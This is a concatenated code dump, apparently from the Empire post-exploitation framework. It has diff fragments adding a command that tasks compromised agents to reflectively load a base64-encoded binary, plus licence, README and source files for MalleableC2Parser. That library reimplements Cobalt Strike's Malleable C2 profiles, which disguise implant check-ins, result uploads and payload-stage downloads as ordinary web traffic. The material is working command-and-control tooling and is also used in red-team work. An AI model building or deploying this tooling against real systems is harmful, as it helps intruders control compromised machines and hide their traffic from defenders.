311 | if self.conn: | |
312 | self.conn.close() | |
313 | ||
314 | 330 | |
315 | 331 | def database_connect(self): |
316 | 332 | """ |
428 | 444 | def do_plugins(self, args): |
429 | 445 | "List all available and active plugins." |
430 | 446 | pluginPath = os.path.abspath("plugins") |
431 | print(helpers.color("\n[*] Searching for plugins at {}".format(pluginPath))) | |
447 | print(helpers.color("[*] Searching for plugins at {}".format(pluginPath))) | |
432 | 448 | # From walk_packages: "Note that this function must import all packages |
433 | 449 | # (not all modules!) on the given path, in order to access the __path__ |
434 | 450 | # attribute to find submodules." |
458 | 474 | def do_plugin(self, pluginName): |
459 | 475 | "Load a plugin file to extend Empire." |
460 | 476 | pluginPath = os.path.abspath("plugins") |
461 | print(helpers.color("\n[*] Searching for plugins at {}".format(pluginPath))) | |
477 | print(helpers.color("[*] Searching for plugins at {}".format(pluginPath))) | |
462 | 478 | # From walk_packages: "Note that this function must import all packages |
463 | 479 | # (not all modules!) on the given path, in order to access the __path__ |
464 | 480 | # attribute to find submodules." |
2197 | 2213 | "Task an agent to use a shell command." |
2198 | 2214 | |
2199 | 2215 | line = line.strip() |
2200 | ||
2201 | 2216 | if line != "": |
2202 | 2217 | # task the agent with this shell command |
2203 | 2218 | self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "shell " + str(line)) |
2210 | 2225 | }) |
2211 | 2226 | dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) |
2212 | 2227 | |
2228 | # update the agent log | |
2229 | msg = "Tasked agent to run shell command " + line | |
2230 | self.mainMenu.agents.save_agent_log(self.sessionID, msg) | |
2231 | ||
2232 | def do_reflectiveload(self, line): | |
2233 | "Task an agent to use a shell command." | |
2234 | ||
2235 | line = line.strip() | |
2236 | ||
2237 | if line != "": | |
2238 | # task the agent with this shell command | |
2239 | ||
2240 | data = open(line, "rb").read() | |
2241 | encoded = base64.b64encode(data).decode('latin-1') | |
2242 | self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "reflectiveload " + encoded) | |
2243 | ||
2244 | # dispatch this event | |
2245 | message = "[*] Tasked agent to reflectively load binary".format(line) | |
2246 | signal = json.dumps({ | |
2247 | 'print': False, | |
2248 | 'message': message | |
2249 | }) | |
2250 | dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) | |
2251 | ||
2213 | 2252 | # update the agent log |
2214 | 2253 | msg = "Tasked agent to run shell command " + line |
2215 | 2254 | self.mainMenu.agents.save_agent_log(self.sessionID, msg) |
2743 | 2782 | "Display/return credentials from the database." |
2744 | 2783 | self.mainMenu.do_creds(line) |
2745 | 2784 | |
2785 | def complete_reflectiveload(self, text, line, begidx, endidx): | |
2786 | "Tab-complete an upload file path" | |
2787 | return helpers.complete_path(text, line) | |
2788 | ||
2746 | 2789 | def complete_updatecomms(self, text, line, begidx, endidx): |
2747 | 2790 | "Tab-complete updatecomms option values" |
2748 | 2791 | |
4193 | 4236 | self.module.execute() |
4194 | 4237 | else: |
4195 | 4238 | agentName = self.module.options['Agent']['Value'] |
4196 | moduleName = self.module.info['Name'] | |
4239 | moduleName = self.moduleName | |
4197 | 4240 | moduleData = self.module.generate(self.mainMenu.obfuscate, self.mainMenu.obfuscateCommand) |
4198 | 4241 | |
4199 | 4242 | if not moduleData or moduleData == "": |
40 | 40 | from __future__ import division |
41 | 41 | from __future__ import print_function |
42 | 42 | |
43 | import json | |
44 | ||
43 | 45 | from future import standard_library |
44 | 46 | |
45 | 47 | standard_library.install_aliases() |
1039 | 1041 | self.killed = True |
1040 | 1042 | |
1041 | 1043 | |
1042 | def slackMessage(slackToken, slackChannel, slackText): | |
1043 | url = "https://slack.com/api/chat.postMessage" | |
1044 | data = urllib.parse.urlencode({'token': slackToken, 'channel': slackChannel, 'text': slackText}) | |
1045 | req = urllib.request.Request(url, data.encode('UTF-8')) | |
1044 | def slackMessage(slack_webhook_url, slack_text): | |
1045 | message = {'text': slack_text} | |
1046 | req = urllib.request.Request(slack_webhook_url, json.dumps(message).encode('UTF-8')) | |
1046 | 1047 | resp = urllib.request.urlopen(req) |
0 | MIT License | |
1 | ||
2 | Copyright (c) 2018 johneiser | |
3 | ||
4 | Permission is hereby granted, free of charge, to any person obtaining a copy | |
5 | of this software and associated documentation files (the "Software"), to deal | |
6 | in the Software without restriction, including without limitation the rights | |
7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
8 | copies of the Software, and to permit persons to whom the Software is | |
9 | furnished to do so, subject to the following conditions: | |
10 | ||
11 | The above copyright notice and this permission notice shall be included in all | |
12 | copies or substantial portions of the Software. | |
13 | ||
14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | |
20 | SOFTWARE. |
0 | # MalleableC2Parser | |
1 | ||
2 | A [**Malleable Command and Control Profile**](https://www.cobaltstrike.com/help-malleable-c2) is a "simple program that specifies how to transform data and store it in a transaction", and is a key feature of [**Cobal Strike**](https://www.cobaltstrike.com/)'s Beacon payload. This library is an attempt to abstract that functionality out so that other toolsets may use the same files to define their own communication profiles. | |
3 | ||
4 | ## Usage | |
5 | ||
6 | ``` | |
7 | import malleable | |
8 | try: | |
9 | p = malleable.Profile() | |
10 | p.ingest("amazon.profile") | |
11 | if p.validate(): | |
12 | request = p.get.construct_client("mydomain.sample", "mydata") | |
13 | print request.url, request.headers, request.body | |
14 | except MalleableError as e: | |
15 | print str(e) | |
16 | ``` | |
17 | ||
18 | ## Architecture | |
19 | ||
20 | ### Profile | |
21 | ||
22 | The `Profile` houses all the functionality of the Malleable C2 profile and is capable of ingesting and validating profiles. A standard Malleable C2 profile contains a `Get Implementation`, a `Post Implementation`, and possibly a `Stager Implementation`, as well as several global variables like `sleeptime`, `jitter`, and `useragent`. | |
23 | ||
24 | ### Implementation | |
25 | ||
26 | An `Implementation` is the specific instantiation of an HTTP client-server `Transaction`, and there are three defined: `Get`, `Post`, and `Stager`. Each `Implementation` has its own storage paradigm and purpose within the communication profile. | |
27 | ||
28 | - Get: Fetch tasking from the C2 | |
29 | - Client: metadata (Session metadata) | |
30 | - Server: output (Beacon's tasks) | |
31 | - Post: Return results to the C2 | |
32 | - Client: id (Session ID), output (Beacon's responses) | |
33 | - Server: output (Empty) | |
34 | - Stager: Download a payload stage | |
35 | - Client: metadata (Empty) | |
36 | - Server: output (Encoded payload stage) | |
37 | ||
38 | ### Transaction | |
39 | ||
40 | A `Transaction` defines the core components of an interaction between a web client request and a web server response. As such, a `Transaction` houses a `Client` and `Server` object, each holding the appropriate components included in their part of the transaction. | |
41 | ||
42 | - Client: url, verb scheme, host, port, path, parameters, headers, body | |
43 | ||
44 | - Server: code, headers, body | |
45 | ||
46 | Each `Client` and `Server` object of a `Transaction` also includes the ability to *store* and *extract* encoded data within its structure, houseing the true value of a Malleable C2 profile. | |
47 | ||
48 | ### Transformation | |
49 | ||
50 | This group of classes defines the model through which arbitrary data can undergo a sequence of reversable transformations. A `Transform` houses the arbitrary functionality of a reversable transformation, and the following are defined: | |
51 | ||
52 | - Append | |
53 | - Base64 | |
54 | - Base64Url | |
55 | - Mask | |
56 | - Netbios | |
57 | - Netbiosu | |
58 | - Prepend | |
59 | ||
60 | A `Terminator` houses the arbitrary functionality of a reversable storage mechanism, and the following are defined: | |
61 | ||
62 | ||
63 | - Header | |
64 | - Parameter | |
65 | - UriAppend | |
66 | ||
67 | And finally, a `Container` houses a sequence of `Transforms` and their defined `Terminator`. For example, a `Get Implementation` might include the `metadata Container`, which houses the `Base64Url Transform` and the `UriAppend Terminator`. This means that the metadata to be sent in a GET request to the C2 server will first be Base64 encoded and url encoded, then stored at the end of the url. The server will then retrieve the encoded data from the end of the url and proceed to url decode and base64 decode it. |
0 | from __future__ import absolute_import | |
1 | from .utility import MalleableError, MalleableUtil, MalleableObject | |
2 | from .transformation import Transform, Terminator, Container | |
3 | from .transaction import MalleableRequest, MalleableResponse, Transaction | |
4 | from .implementation import Get, Post, Stager | |
5 | from .profile import Profile |
0 | from __future__ import absolute_import | |
1 | import six.moves.urllib.request, six.moves.urllib.parse, six.moves.urllib.error | |
2 | from pyparsing import * | |
3 | from .utility import MalleableError, MalleableUtil, MalleableObject | |
4 | from .transformation import Transform, Terminator, Container | |
5 | from .transaction import MalleableRequest, MalleableResponse, Transaction | |
6 | from six.moves import range | |
7 | ||
8 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # | |
9 | # IMPLEMENTATION | |
10 | # | |
11 | # Defining the specific implementations of an interaction | |
12 | # between a web client request and a web server response. | |
13 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # | |
14 | ||
15 | class Get(Transaction): | |
16 | """The Get implementation of a Transaction. | |
17 | ||
18 | The Get Transaction is used to fetch tasking from the server. In a Get Transaction, | |
19 | the following data is transmitted: | |
20 | - (Client) metadata (Session metadata) | |
21 | - (Server) output (Beacon's tasks) | |
22 | """ | |
23 | ||
24 | def _defaults(self): | |
25 | """Default initialization for the Get Transaction.""" | |
26 | super(Get, self)._defaults() | |
27 | self.client.metadata = Container() | |
28 | self.server.output = Container() | |
29 | self.client.verb = "GET" | |
30 | ||
31 | def _clone(self): | |
32 | """Deep copy of the Get Transaction. | |
33 | ||
34 | Returns: | |
35 | Get Transaction | |
36 | """ | |
37 | new = super(Get, self)._clone() | |
38 | new.client.metadata = self.client.metadata._clone() | |
39 | new.server.output = self.server.output._clone() | |
40 | new.client.verb = self.client.verb | |
41 | return new | |
42 | ||
43 | def _serialize(self): | |
44 | """Serialize the Get Transaction. | |
45 | ||
46 | Returns: | |
47 | dict (str, obj) | |
48 | """ | |
49 | d = super(Get, self)._serialize() | |
50 | d["client"] = dict((list(d["client"].items()) if "client" in d else []) + list({ | |
51 | "metadata" : self.client.metadata._serialize() | |
52 | }.items())) | |
53 | d["server"] = dict((list(d["server"].items()) if "server" in d else []) + list({ | |
54 | "output" : self.server.output._serialize() | |
55 | }.items())) | |
56 | return dict(list(d.items()) + list({ | |
57 | ||
58 | }.items())) | |
59 | ||
60 | @classmethod | |
61 | def _deserialize(cls, data): | |
62 | """Deserialize data into a Get Transaction. | |
63 | ||
64 | Args: | |
65 | data (dict (str, obj)): Serialized data (json) | |
66 | ||
67 | Returns: | |
68 | Get Transaction | |
69 | """ | |
70 | get = super(Get, cls)._deserialize(data) | |
71 | if data: | |
72 | get.client.metadata = Container._deserialize(data["client"]["metadata"]) if ("client" in data and "metadata" in data["client"]) else Container() | |
73 | get.server.output = Container._deserialize(data["server"]["output"]) if ("server" in data and "output" in data["server"]) else Container() | |
74 | return get | |
75 | ||
76 | @classmethod | |
77 | def _pattern(cls): | |
78 | """Define the pattern to recognize a Get object while parsing a file. | |
79 | ||
80 | Returns: | |
81 | pyparsing object | |
82 | """ | |
83 | return Literal("http-get") + super(Get, cls)._pattern() | |
84 | ||
85 | def _parse(self, data): | |
86 | """Store the information from a parsed pyparsing result. | |
87 | ||
88 | Args: | |
89 | data: pyparsing data | |
90 | """ | |
91 | super(Get, self)._parse(data) | |
92 | if data: | |
93 | for i in range(0, len(data), 2): | |
94 | item = data[i] | |
95 | arg = data[i+1] if len(data) > i+1 else None | |
96 | if item and arg: | |
97 | if item.lower() == "client": | |
98 | for j in range(0, len(arg), 2): | |
99 | item2 = arg[j] | |
100 | arg2 = arg[j+1] if len(arg) > j+1 else None | |
101 | if item2 and arg2: | |
102 | if item2.lower() == "metadata": | |
103 | self.client.metadata._parse(arg2) | |
104 | elif item.lower() == "server": | |
105 | for j in range(0, len(arg), 2): | |
106 | item2 = arg[j] | |
107 | arg2 = arg[j+1] if len(arg) > j+1 else None | |
108 | if item2 and arg2: | |
109 | if item2.lower() == "output": | |
110 | self.server.output._parse(arg2) | |
111 | ||
112 | def construct_client(self, host, metadata): | |
113 | """Construct a Client request using the provided metadata to the provided host. | |
114 | ||
115 | Args: | |
116 | host (str): Host to direct client request to. | |
117 | metadata (str): Metadata to include in the request. | |
118 | ||
119 | Returns: | |
120 | Transaction.Client: Constructed Client request. | |
121 | """ | |
122 | request = self.client._clone() | |
123 | request.host = host | |
124 | request.path = self.client.random_uri() | |
125 | request.store(self.client.metadata.transform(metadata), self.client.metadata.terminator) | |
126 | return request | |
127 | ||
128 | def extract_client(self, request): | |
129 | """Extract the metadata from the provided MalleableRequest. | |
130 | ||
131 | Args: | |
132 | request (MalleableRequest) | |
133 | ||
134 | Returns: | |
135 | str: metadata | |
136 | """ | |
137 | for u in (self.client.uris if self.client.uris else ["/"]): | |
138 | if u.lower() in request.path.lower(): | |
139 | metadata = request.extract(self.client, self.client.metadata.terminator) | |
140 | if metadata: | |
141 | m = self.client.metadata.transform_r(metadata) | |
142 | if isinstance(m, str): | |
143 | m = m.encode("latin-1") | |
144 | return m | |
145 | return None | |
146 | ||
147 | def construct_server(self, output): | |
148 | """Construct a Server response using the provided output. | |
149 | ||
150 | Args: | |
151 | output (str): Output to include in the request. | |
152 | ||
153 | Returns: | |
154 | Transaction.Server: Constructed Server response. | |
155 | """ | |
156 | response = self.server._clone() | |
157 | response.store(self.server.output.transform(output), self.server.output.terminator) | |
158 | return response | |
159 | ||
160 | def extract_server(self, response): | |
161 | """Extract the output from the provided MalleableResponse. | |
162 | ||
163 | Args: | |
164 | response (MalleableResponse) | |
165 | ||
166 | Returns: | |
167 | str: output | |
168 | """ | |
169 | output = response.extract(self.server, self.server.output.terminator) | |
170 | return self.server.output.transform_r(output) if output else None | |
171 | ||
172 | class Post(Transaction): | |
173 | """The Post implementation of a Transaction. | |
174 | ||
175 | The Post Transaction is used to exchange information with the server. In a Post Transaction, | |
176 | the following data is transmitted: | |
177 | - (Client) id (Session ID) | |
178 | - (Client) output (Beacon's responses) | |
179 | - (Server) output (Empty) | |
180 | """ | |
181 | ||
182 | def _defaults(self): | |
183 | """Default initialization for the Post Transaction.""" | |
184 | super(Post, self)._defaults() | |
185 | self.client.id = Container() | |
186 | self.client.output = Container() | |
187 | self.server.output = Container() | |
188 | self.client.verb = "POST" | |
189 | ||
190 | def _clone(self): | |
191 | """Deep copy of the Post Transaction. | |
192 | ||
193 | Returns: | |
194 | Post Transaction | |
195 | """ | |
196 | new = super(Post, self)._clone() | |
197 | new.client.id = self.client.id._clone() | |
198 | new.client.output = self.client.output._clone() | |
199 | new.server.output = self.server.output._clone() | |
200 | new.client.verb = self.client.verb | |
201 | return new | |
202 | ||
203 | def _serialize(self): | |
204 | """Serialize the Post Transaction. | |
205 | ||
206 | Returns: | |
207 | dict (str, obj) | |
208 | """ | |
209 | d = super(Post, self)._serialize() | |
210 | d["client"] = dict((list(d["client"].items()) if "client" in d else []) + list({ | |
211 | "id" : self.client.id._serialize(), | |
212 | "output" : self.client.output._serialize() | |
213 | }.items())) | |
214 | d["server"] = dict((list(d["server"].items()) if "server" in d else []) + list({ | |
215 | "output" : self.server.output._serialize() | |
216 | }.items())) | |
217 | return dict(list(d.items()) + list({ | |
218 | ||
219 | }.items())) | |
220 | ||
221 | @classmethod | |
222 | def _deserialize(cls, data): | |
223 | """Deserialize data into a Post Transaction. | |
224 | ||
225 | Args: | |
226 | data (dict (str, obj)): Serialized data (json) | |
227 | ||
228 | Returns: | |
229 | Post Transaction | |
230 | """ | |
231 | post = super(Post, cls)._deserialize(data) | |
232 | if data: | |
233 | post.client.id = Container._deserialize(data["client"]["id"]) if ("client" in data and "id" in data["client"]) else Container() | |
234 | post.client.output = Container._deserialize(data["client"]["output"]) if ("client" in data and "output" in data["client"]) else Container() | |
235 | post.server.output = Container._deserialize(data["server"]["output"]) if ("server" in data and "output" in data["server"]) else Container() | |
236 | return post | |
237 | ||
238 | @classmethod | |
239 | def _pattern(cls): | |
240 | """Define the pattern to recognize a Post object while parsing a file. | |
241 | ||
242 | Returns: | |
243 | pyparsing object | |
244 | """ | |
245 | return Literal("http-post") + super(Post, cls)._pattern() | |
246 | ||
247 | def _parse(self, data): | |
248 | """Store the information from a parsed pyparsing result. | |
249 | ||
250 | Args: | |
251 | data: pyparsing data | |
252 | """ | |
253 | super(Post, self)._parse(data) | |
254 | if data: | |
255 | for i in range(0, len(data), 2): | |
256 | item = data[i] | |
257 | arg = data[i+1] if len(data) > i+1 else None | |
258 | if item and arg: | |
259 | if item.lower() == "client": | |
260 | for j in range(0, len(arg), 2): | |
261 | item2 = arg[j] | |
262 | arg2 = arg[j+1] if len(arg) > j+1 else None | |
263 | if item2 and arg2: | |
264 | if item2.lower() == "id": | |
265 | self.client.id._parse(arg2) | |
266 | elif item2.lower() == "output": | |
267 | self.client.output._parse(arg2) | |
268 | elif item.lower() == "server": | |
269 | for j in range(0, len(arg), 2): | |
270 | item2 = arg[j] | |
271 | arg2 = arg[j+1] if len(arg) > j+1 else None | |
272 | if item2 and arg2: | |
273 | if item2.lower() == "output": | |
274 | self.server.output._parse(arg2) | |
275 | ||
276 | def construct_client(self, host, id, output): | |
277 | """Construct a Client request using the provided id and output to the provided host. | |
278 | ||
279 | Args: | |
280 | host (str): Host to direct client request to. | |
281 | id (str): id to include in the request. | |
282 | output (str): output to include in the request. | |
283 | ||
284 | Returns: | |
285 | Transaction.Client: Constructed Client request. | |
286 | """ | |
287 | request = self.client._clone() | |
288 | request.host = host | |
289 | request.path = self.client.random_uri() | |
290 | request.store(self.client.id.transform(id), self.client.id.terminator) | |
291 | request.store(self.client.output.transform(output), self.client.output.terminator) | |
292 | return request | |
293 | ||
294 | def extract_client(self, request): | |
295 | """Extract the id and output from the provided MalleableRequest. | |
296 | ||
297 | Args: | |
298 | request (MalleableRequest) | |
299 | ||
300 | Returns: | |
301 | tuple: id, output | |
302 | """ | |
303 | for u in (self.client.uris if self.client.uris else ["/"]): | |
304 | if u.lower() in request.path.lower(): | |
305 | id = request.extract(self.client, self.client.id.terminator) | |
306 | if isinstance(id, str): | |
307 | id = id.encode('latin-1') | |
308 | output = request.extract(self.client, self.client.output.terminator) | |
309 | trans_r = self.client.id.transform_r(id) if id else None | |
310 | if isinstance(trans_r, str): | |
311 | trans_r = trans_r.encode("latin-1") | |
312 | return ( | |
313 | trans_r, | |
314 | self.client.output.transform_r(output) if output else None | |
315 | ) | |
316 | return (None, None) | |
317 | ||
318 | def construct_server(self, output): | |
319 | """Construct a Server response using the provided output. | |
320 | ||
321 | Args: | |
322 | output (str): Output to include in the request. | |
323 | ||
324 | Returns: | |
325 | Transaction.Server: Constructed Server response. | |
326 | """ | |
327 | response = self.server._clone() | |
328 | response.store(self.server.output.transform(output), self.server.output.terminator) | |
329 | return response | |
330 | ||
331 | def extract_server(self, response): | |
332 | """Extract the output from the provided MalleableResponse. | |
333 | ||
334 | Args: | |
335 | response (MalleableResponse) | |
336 | ||
337 | Returns: | |
338 | str: output | |
339 | """ | |
340 | output = response.extract(self.server, self.server.output.terminator) | |
341 | return self.server.output.transform_r(output) if output else None | |
342 | ||
343 | class Stager(Transaction): | |
344 | """The Stager implementation of a Transaction. | |
345 | ||
346 | The Stager Transaction is used to fetch a payload stage corresponding to the provided | |
347 | metadata. In a Stager Transaction, the following data is transmitted: | |
348 | - (Client) metadata (Session info) | |
349 | - (Server) output (Encoded payload stage) | |
350 | """ | |
351 | ||
352 | def _defaults(self): | |
353 | """Default initialization for the Stager Transaction.""" | |
354 | super(Stager, self)._defaults() | |
355 | self.client.metadata = Container() | |
356 | self.server.output = Container() | |
357 | self.client.verb = "GET" | |
358 | ||
359 | def _clone(self): | |
360 | """Deep copy of the Stager Transaction. | |
361 | ||
362 | Returns: | |
363 | Stager Transaction | |
364 | """ | |
365 | new = super(Stager, self)._clone() | |
366 | new.client.metadata = self.client.metadata._clone() | |
367 | new.server.output = self.server.output._clone() | |
368 | new.client.verb = self.client.verb | |
369 | return new | |
370 | ||
371 | def _serialize(self): | |
372 | """Serialize the Stager Transaction. | |
373 | ||
374 | Returns: | |
375 | dict (str, obj) | |
376 | """ | |
377 | d = super(Stager, self)._serialize() | |
378 | d["client"] = dict((list(d["client"].items()) if "client" in d else []) + list({ | |
379 | "metadata" : self.client.metadata._serialize() | |
380 | }.items())) | |
381 | d["server"] = dict((list(d["server"].items()) if "server" in d else []) + list({ | |
382 | "output" : self.server.output._serialize() | |
383 | }.items())) | |
384 | return dict(list(d.items()) + list({ | |
385 | ||
386 | }.items())) | |
387 | ||
388 | @classmethod | |
389 | def _deserialize(cls, data): | |
390 | """Deserialize data into a Stager Transaction. | |
391 | ||
392 | Args: | |
393 | data (dict (str, obj)): Serialized data (json) | |
394 | ||
395 | Returns: | |
396 | Stager Transaction | |
397 | """ | |
398 | stager = super(Stager, cls)._deserialize(data) | |
399 | if data: | |
400 | stager.client.metadata = Container._deserialize(data["client"]["metadata"]) if ("client" in data and "metadata" in data["client"]) else Container() | |
401 | stager.server.output = Container._deserialize(data["server"]["output"]) if ("server" in data and "output" in data["server"]) else Container() | |
402 | return stager | |
403 | ||
404 | @classmethod | |
405 | def _pattern(cls): | |
406 | """Define the pattern to recognize a Stager object while parsing a file. | |
407 | ||
408 | Returns: | |
409 | pyparsing object | |
410 | """ | |
411 | return Literal("http-stager") + super(Stager, cls)._pattern() | |
412 | ||
413 | def _parse(self, data): | |
414 | """Store the information from a parsed pyparsing result. | |
415 | ||
416 | Args: | |
417 | data: pyparsing data | |
418 | """ | |
419 | super(Stager, self)._parse(data) | |
420 | if data: | |
421 | for i in range(0, len(data), 2): | |
422 | item = data[i] | |
423 | arg = data[i+1] if len(data) > i+1 else None | |
424 | if item and arg: | |
425 | if item.lower() == "client": | |
426 | for j in range(0, len(arg), 2): | |
427 | item2 = arg[j] | |
428 | arg2 = arg[j+1] if len(arg) > j+1 else None | |
429 | if item2 and arg2: | |
430 | if item2.lower() == "metadata": | |
431 | self.client.metadata._parse(arg2) | |
432 | elif item.lower() == "server": | |
433 | for j in range(0, len(arg), 2): | |
434 | item2 = arg[j] | |
435 | arg2 = arg[j+1] if len(arg) > j+1 else None | |
436 | if item2 and arg2: | |
437 | if item2.lower() == "output": | |
438 | self.server.output._parse(arg2) | |
439 | ||
440 | def construct_client(self, host, metadata): | |
441 | """Construct a Client request using the provided metadata to the provided host. | |
442 | ||
443 | Args: | |
444 | host (str): Host to direct client request to. | |
445 | ||
446 | Returns: | |
447 | Transaction.Client: Constructed Client request. | |
448 | """ | |
449 | request = self.client._clone() | |
450 | request.host = host | |
451 | request.path = self.client.random_uri() | |
452 | request.store(self.client.metadata.transform(metadata), self.client.metadata.terminator) | |
453 | return request | |
454 | ||
455 | def extract_client(self, request): | |
456 | """Extract the metadata from the provided MalleableRequest. | |
457 | ||
458 | Args: | |
459 | request (MalleableRequest) | |
460 | ||
461 | Returns: None | |
462 | """ | |
463 | for u in (self.client.uris if self.client.uris else ["/"]): | |
464 | if u.lower() in request.path.lower(): | |
465 | metadata = request.extract(self.client, self.client.metadata.terminator) | |
466 | if metadata: | |
467 | return self.client.metadata.transform_r(metadata) | |
468 | return None | |
469 | ||
470 | def construct_server(self, output): | |
471 | """Construct a Server response using the provided output. | |
472 | ||
473 | Args: | |
474 | output (str): Output to include in the request. | |
475 | ||
476 | Returns: | |
477 | Transaction.Server: Constructed Server response. | |
478 | """ | |
479 | response = self.server._clone() | |
480 | response.store(self.server.output.transform(output), self.server.output.terminator) | |
481 | return response | |
482 | ||
483 | def extract_server(self, response): | |
484 | """Extract the output from the provided MalleableResponse. | |
485 | ||
486 | Args: | |
487 | response (MalleableResponse) | |
488 | ||
489 | Returns: | |
490 | str: output | |
491 | """ | |
492 | output = response.extract(self.server, self.server.output.terminator) | |
493 | return self.server.output.transform_r(output) if output else None |
0 | from __future__ import absolute_import | |
1 | import os, string | |
2 | from pyparsing import * | |
3 | from .utility import MalleableError, MalleableUtil, MalleableObject | |
4 | from .transformation import Transform, Terminator, Container | |
5 | from .transaction import MalleableRequest, MalleableResponse, Transaction | |
6 | from .implementation import Get, Post, Stager | |
7 | from six.moves import range | |
8 | ||
9 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # | |
10 | # PROFILE | |
11 | # | |
12 | # Defining the top-layer object to be interacted with. | |
13 | # | |
14 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # | |
15 | ||
16 | class Profile(MalleableObject): | |
17 | """A class housing all the functionality of a Malleable C2 profile. | |
18 | ||
19 | Attributes: | |
20 | get (Get (Transaction)) | |
21 | post (Post (Transaction)) | |
22 | stager (Stager (Transaction)) | |
23 | ||
24 | useragent (str, property) | |
25 | sleeptime (int) [milliseconds] | |
26 | jitter (int) [percent] | |
27 | """ | |
28 | ||
29 | def _defaults(self): | |
30 | """Default initialization for the Profile object.""" | |
31 | super(Profile, self)._defaults() | |
32 | self.get = Get() | |
33 | self.post = Post() | |
34 | self.stager = Stager() | |
35 | self.sleeptime = 60000 | |
36 | self.jitter = 0 | |
37 | ||
38 | def _clone(self): | |
39 | """Deep copy of the Profile object. | |
40 | ||
41 | Returns: | |
42 | Profile | |
43 | """ | |
44 | new = super(Profile, self)._clone() | |
45 | new.get = self.get._clone() | |
46 | new.post = self.post._clone() | |
47 | new.stager = self.stager._clone() | |
48 | new.sleeptime = self.sleeptime | |
49 | new.jitter = self.jitter | |
50 | return new | |
51 | ||
52 | def _serialize(self): | |
53 | """Serialize the Profile object. | |
54 | ||
55 | Returns: | |
56 | dict (str, obj): Serialized data (json) | |
57 | """ | |
58 | return dict(list(super(Profile, self)._serialize().items()) + list({ | |
59 | "get" : self.get._serialize(), | |
60 | "post" : self.post._serialize(), | |
61 | "stager" : self.stager._serialize(), | |
62 | "sleeptime" : self.sleeptime, | |
63 | "jitter" : self.jitter | |
64 | }.items())) | |
65 | ||
66 | @classmethod | |
67 | def _deserialize(cls, data): | |
68 | """Deserialize data into a Profile object. | |
69 | ||
70 | Args: | |
71 | data (dict (str, obj)): Serialized data (json) | |
72 | ||
73 | Returns: | |
74 | Profile object | |
75 | """ | |
76 | profile = super(Profile, cls)._deserialize(data) | |
77 | if data: | |
78 | try: | |
79 | profile.get = Get._deserialize(data["get"]) if "get" in data else Get() | |
80 | profile.post = Post._deserialize(data["post"]) if "post" in data else Post() | |
81 | profile.stager = Stager._deserialize(data["stager"]) if "stager" in data else Stager() | |
82 | profile.sleeptime = int(data["sleeptime"]) if "sleeptime" in data else 60000 | |
83 | profile.jitter = int(data["jitter"]) if "jitter" in data else 0 | |
84 | except Exception as e: | |
85 | MalleableError.throw(cls, "_deserialize", "An error occurred: " + str(e)) | |
86 | return profile | |
87 | ||
88 | @classmethod | |
89 | def _pattern(cls): | |
90 | """Define the pattern to recognize a Profile object while parsing a file. | |
91 | ||
92 | Returns: | |
93 | pyparsing object | |
94 | """ | |
95 | return ZeroOrMore( | |
96 | cls.COMMENT | | |
97 | (Literal("set") + Group(cls.FIELD + cls.VALUE) + cls.SEMICOLON) | | |
98 | Get._pattern() | | |
99 | Post._pattern() | | |
100 | Stager._pattern()) | |
101 | ||
102 | def _parse(self, data): | |
103 | """Store the information from a parsed pyparsing result. | |
104 | ||
105 | Args: | |
106 | data: pyparsing data | |
107 | """ | |
108 | if data: | |
109 | for group in [d for d in data if d]: | |
110 | for i in range(0, len(group), 2): | |
111 | item = group[i] | |
112 | arg = group[i+1] if len(group) > i+1 else None | |
113 | if item and arg: | |
114 | if item.lower() == "set" and len(arg) > 1: | |
115 | key, value = arg[0], arg[1] | |
116 | if key and value: | |
117 | setattr(self, key, value) | |
118 | elif item.lower() == "http-get": | |
119 | self.get._parse(arg) | |
120 | elif item.lower() == "http-post": | |
121 | self.post._parse(arg) | |
122 | elif item.lower() == "http-stager": | |
123 | self.stager._parse(arg) | |
124 | ||
125 | @property | |
126 | def useragent(self): | |
127 | """Get the profile useragent. | |
128 | ||
129 | Returns: | |
130 | str: useragent | |
131 | """ | |
132 | return self.get.client.headers["User-Agent"] if "User-Agent" in self.get.client.headers else None | |
133 | ||
134 | @useragent.setter | |
135 | def useragent(self, useragent): | |
136 | """Set the profile useragent. | |
137 | ||
138 | Args: | |
139 | useragent (str) | |
140 | """ | |
141 | self.get.client.headers["User-Agent"] = useragent | |
142 | self.post.client.headers["User-Agent"] = useragent | |
143 | self.stager.client.headers["User-Agent"] = useragent | |
144 | ||
145 | def validate(self): | |
146 | """Validate the profile to verify it will succeed when used. | |
147 | ||
148 | Returns: | |
149 | bool: True if no checks fail. | |
150 | ||
151 | Raises: | |
152 | MalleableError: If a check fails. | |
153 | """ | |
154 | host = "http://domain.com:80" | |
155 | #data = string.printable | |
156 | data = string.printable.encode('latin-1') | |
157 | for format, p in [("base", self), ("clone", self._clone()), ("serialized", Profile._deserialize(self._serialize()))]: | |
158 | test = p.get.construct_client(host, data) | |
159 | clone = MalleableRequest() | |
160 | clone.url = test.url | |
161 | clone.verb = test.verb | |
162 | clone.headers = test.headers | |
163 | clone.body = test.body | |
164 | if self.get.extract_client(clone) != data: | |
165 | MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-get-client-metadata" % format) | |
166 | ||
167 | test = p.get.construct_server(data) | |
168 | clone = MalleableResponse() | |
169 | clone.headers = test.headers | |
170 | clone.body = test.body | |
171 | if self.get.extract_server(clone) != data: | |
172 | MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-get-server-output" % format) | |
173 | ||
